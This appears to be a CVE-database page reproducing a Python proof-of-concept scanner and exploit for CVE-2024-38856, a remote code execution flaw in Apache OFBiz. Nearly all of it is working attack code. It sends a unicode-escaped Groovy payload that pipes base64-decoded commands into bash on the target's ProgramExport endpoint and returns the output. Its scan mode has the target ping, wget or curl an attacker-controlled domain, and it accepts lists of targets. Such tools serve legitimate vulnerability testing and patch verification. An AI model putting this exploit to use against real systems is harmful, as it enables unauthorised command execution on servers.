4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2024-38856_Scanner.py PY
import sys
import base64
import requests
import argparse
import urllib3
from colorama import Fore, Style, init

init(autoreset=True)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def getLogo():
    logo = f"""
{Fore.CYAN}██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗     ██████╗  █████╗  █████╗ ███████╗ ██████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║     ╚════██╗██╔══██╗██╔══██╗██╔════╝██╔════╝ 
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗█████╔╝╚█████╔╝╚█████╔╝███████╗███████╗ 
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚═══██╗██╔══██╗██╔══██╗╚════██║██╔═══██╗
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗     ██║     ██████╔╝╚█████╔╝╚█████╔╝███████║╚██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝     ╚═════╝  ╚════╝  ╚════╝ ╚══════╝ ╚═════╝ 
                                                                                                            
                                                                                                                                                           
                                                                                                                                                              
                    {Fore.RED}Github: https://github.com/securelayer7/CVE-2024-38856_Scanner{Style.RESET_ALL}
                    {Fore.RED}By: Securelayer7(yosef0x01 & Zeyad Azima){Style.RESET_ALL}                                     
    """
    print(logo)

def commandEncoder(command):
    command_with_markers = f'echo [result]; {command}; echo [result];'
    encodedCommand = base64.b64encode(command_with_markers.encode()).decode()
    return encodedCommand

def payloadUnicode(base64EncodedCommand):
    command = f'throw new Exception(["bash", "-c", "{{echo,{base64EncodedCommand}}}|{{base64,-d}}|{{bash,-i}}"].execute().text);'
    unicodePayload = ''.join(f'\\u{ord(c):04x}' for c in command)
    return unicodePayload

def extract_output(response_text):
    start_marker = '[result]'
    end_marker = '[result]'
    
    start_index = response_text.find(start_marker)
    end_index = response_text.find(end_marker, start_index + len(start_marker))
    
    if start_index != -1 and end_index != -1:
        output = response_text[start_index + len(start_marker):end_index].strip()
        return output
    return None

def exploit(target, port, payload, timeout, proxies=None):
    url = f'{target}:{port}/webtools/control/main/ProgramExport'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"groovyProgram={payload}"
    try:
        response = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout, proxies=proxies)
        return response.status_code, response.text
    except requests.exceptions.Timeout:
        print(f"{Fore.YELLOW}[!] Request timed out for {target}:{port}{Style.RESET_ALL}")
        return "timeout", ""
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}Exception: {e}{Style.RESET_ALL}")
        return "target maybe down", ""

def scan_vulnerability(target, port, domain, timeout, proxies=None):
    scanCommands = [
        f'ping -c 4 {domain}',
        f'wget -O- {domain}',
        f'curl {domain}'
    ]
    
    results = []
    url = f'{target}:{port}/webtools/control/main/ProgramExport'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    for command in scanCommands:
        encodedCommand = commandEncoder(command)
        unicodePayload = payloadUnicode(encodedCommand)
        data = f"groovyProgram={unicodePayload}"
        try:
            response = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout, proxies=proxies)
            results.append((command, response.status_code))
        except requests.exceptions.Timeout:
            results.append((command, "timeout"))
        except requests.exceptions.RequestException as e:
            results.append((command, f"Exception: {e}"))
    
    return results

def processTarget(target, port, command, timeout, output_file=None, proxies=None, exploit_command=False, domain=None):
    if not exploit_command:
        scan_results = scan_vulnerability(target, port, domain, timeout, proxies)
        vulnerable = False
        for command, status in scan_results:
            if status == "timeout":
                print(f"{Fore.YELLOW}[+] Scan Payload: {command} - Request timed out{Style.RESET_ALL}")
            else:
                print(f"{Fore.CYAN}[+] Scan Payload:{Style.RESET_ALL} {command} {Fore.CYAN}- Status Code:{Style.RESET_ALL} {status}")
                if status == 200:
                    vulnerable = True
        if vulnerable:
            result = f"{Fore.GREEN}[!] Target {target}:{port} is vulnerable.{Style.RESET_ALL}\n\n"
        else:
            result = f"{Fore.RED}[!] Target {target}:{port} is not vulnerable.{Style.RESET_ALL}\n\n"
        save_output(result, output_file)
        return
    
    encodedCommand = commandEncoder(command)
    unicodePayload = payloadUnicode(encodedCommand)
    statusCode, responseText = exploit(target, port, unicodePayload, timeout, proxies)
    output = extract_output(responseText)
    if output:
        result = f"{Fore.GREEN}[!] Exploit output:\n\t[+] Target: {target}, Port: {port}\n\t[+] Status Code: {statusCode}\n\t[+] Output: {command} \n\r\n{Style.RESET_ALL}{output}  \n\n"
    else:
        result = f"{Fore.YELLOW}[!] Exploit executed, but no output found in the response :\n\t[+] Target: {target}, Port: {port}\n\t[+] Status Code: {statusCode}{Style.RESET_ALL}\n\n"
    save_output(result, output_file)

def save_output(output, output_file=None):
    if output_file:
        with open(output_file, 'a') as f:
            f.write(output + '\n')
    else:
        print(output)

def main():
    parser = argparse.ArgumentParser(description='CVE-2024-38856 Apache Ofbiz RCE Scanner Framework.')
    parser.add_argument('-t', '--target', type=str, help='Target host')
    parser.add_argument('-p', '--port', type=int, help='Target port')
    parser.add_argument('-c', '--command', type=str, help='Command to execute (if exploit is performed)')
    parser.add_argument('-s', '--scan', action='store_true', help='Perform a scan to check for vulnerability')
    parser.add_argument('-d', '--domain', type=str, help='Domain (attacker domain) to scan with ping, curl, and wget')
    parser.add_argument('-f', '--file', type=str, help='File containing a list of targets in the format http(s)://target:port')
    parser.add_argument('-O', '--output', type=str, help='Output file to save results')
    parser.add_argument('--proxy', type=str, help='Proxy URL (e.g., http://localhost:8080)')
    parser.add_argument('--exploit', action='store_true', help='Exploit the vulnerability after scanning')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    proxies = None
    if args.proxy:
        proxies = {
            "http": args.proxy,
            "https": args.proxy,
        }

    getLogo()
    print(f"{Fore.BLUE}[*] Options Passed:{Style.RESET_ALL}")
    for arg in vars(args):
        print(f"    {Fore.GREEN}{arg}: {getattr(args, arg)}{Style.RESET_ALL}")

    targets = []

    if args.file:
        with open(args.file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]

    if args.target:
        targets.append(f"{args.target}:{args.port or 8443}")

    if not targets:
        print(f"{Fore.RED}[!] No targets specified. Please provide a target or a file with targets.{Style.RESET_ALL}")
        sys.exit(1)

    for target in targets:
        if args.scan and not args.domain:
            print(f"{Fore.RED}[!] The --domain option is required when using --scan.{Style.RESET_ALL}")
            sys.exit(1)
        
        if '://' in target:
            url_parts = target.split(':')
            target_host = url_parts[0] + ':' + url_parts[1]
            port = url_parts[2] if len(url_parts) > 2 else '8443'
        else:
            target_host = target.split(':')[0]
            port = target.split(':')[1] if ':' in target else '8443'

        processTarget(target_host, port, args.command, args.timeout, args.output, proxies, args.exploit, args.domain)

if __name__ == "__main__":
    main()